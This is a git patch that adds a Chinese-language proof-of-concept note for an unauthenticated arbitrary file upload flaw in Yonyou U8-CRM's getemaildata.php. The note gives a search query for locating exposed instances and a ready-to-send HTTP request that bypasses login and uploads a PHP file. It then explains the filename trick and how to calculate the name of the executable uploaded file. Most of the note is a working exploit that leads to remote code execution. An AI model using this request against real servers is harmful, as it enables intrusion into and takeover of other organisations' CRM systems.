From e755e86041bc3aa238f2b603ae925a4a27bca8ed Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Wed, 8 May 2024 19:57:13 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BU8-CRM=E5=AE=A2?=
 =?UTF-8?q?=E6=88=B7=E5=85=B3=E7=B3=BB=E7=AE=A1=E7=90=86=E7=B3=BB=E7=BB=9F?=
 =?UTF-8?q?getemaildata.php=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A?=
 =?UTF-8?q?=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...��系管理系统getemaildata.php任意文件上传漏洞.md | 36 +++++++++++++++++++
 1 file changed, 36 insertions(+)
 create mode 100644 用友U8-CRM客户关系管理系统getemaildata.php任意文件上传漏洞.md

diff --git a/用友U8-CRM客户关系管理系统getemaildata.php任意文件上传漏洞.md b/用友U8-CRM客户关系管理系统getemaildata.php任意文件上传漏洞.md
new file mode 100644
index 0000000..a5cef3e
--- /dev/null
+++ b/用友U8-CRM客户关系管理系统getemaildata.php任意文件上传漏洞.md
@@ -0,0 +1,36 @@
+## 用友U8-CRM客户关系管理系统getemaildata.php任意文件上传漏洞
+
+## hunter
+```
+app.name="用友 CRM"
+```
+
+
+## poc
+```
+POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1
+Host: 
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQ
+Content-Length: 517
+
+------WebKitFormBoundarykS5RKgl8t3nwInMQ
+Content-Disposition: form-data; name="file"; filename="test.php "
+Content-Type: text/plain
+
+<?php phpinfo();?>
+------WebKitFormBoundarykS5RKgl8t3nwInMQ
+```
+
+![9147057345d2ec4f1d7c8318ddf36883](https://github.com/wy876/POC/assets/139549762/5b3752aa-824e-4d81-8fe6-5d61cd77dc17)
+
+上传包中文件的名称后要添加一个空格，不然上传之后不会解析。
+
+上传之后返回的路径为E:\\U8SOFT\\turbocrm70\\code\\www\\tmpfile\\，文件名称为mhtB356.tmp.mht；文件不解析，需要访问另一个文件（上传之后会在目录下生成两个文件一个tmp.mht文件和一个tmp.php文件），访问的解析文件格式为udp***.tmp.php，星号部分为返回的文件名的十六进制减去一，例如：B356——>45910(十六进制)，45909（十六进制减一）——>b355。
+
+![0cb454248fb7425131ee976bfff161f2](https://github.com/wy876/POC/assets/139549762/77be2d85-2c4c-46a4-8a95-71d415b2aa1a)
+
+## 漏洞来源
+- https://mp.weixin.qq.com/s/iCkvHKl-QC5o3gj_t02tmg